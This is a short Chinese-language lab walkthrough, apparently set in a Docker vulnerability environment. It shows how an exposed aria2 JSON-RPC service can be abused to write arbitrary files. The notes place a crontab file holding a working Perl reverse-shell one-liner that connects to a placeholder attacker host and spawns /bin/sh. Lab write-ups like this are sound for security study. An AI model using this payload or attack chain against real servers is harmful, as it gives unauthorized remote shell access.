Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。
启动漏洞环境:
```
docker compose up -d
```
6800是aria2的rpc服务的默认端口,环境启动后,访问`http://your-ip:6800/`,发现服务已启动并且返回404或空白页面。
因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/ 。
如果报错,参考
攻击机开http.server
打开yaaw,点击配置setting按钮,填入运行aria2的目标域名:`http://your-ip:6800/jsonrpc`
https://www.cnblogs.com/v1vvwv/p/how-to-use-crontab-to-getshell.html
内容:
*/1 * * * * root perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
注意这个最后一行要有换行,否则可能反弹失败
这里url写http://文件在的那个电脑(我这里放攻击机上)ip/filename
注意此处只是为了真实环境区别,我这里靶机和攻撃机是同一台
反弹成功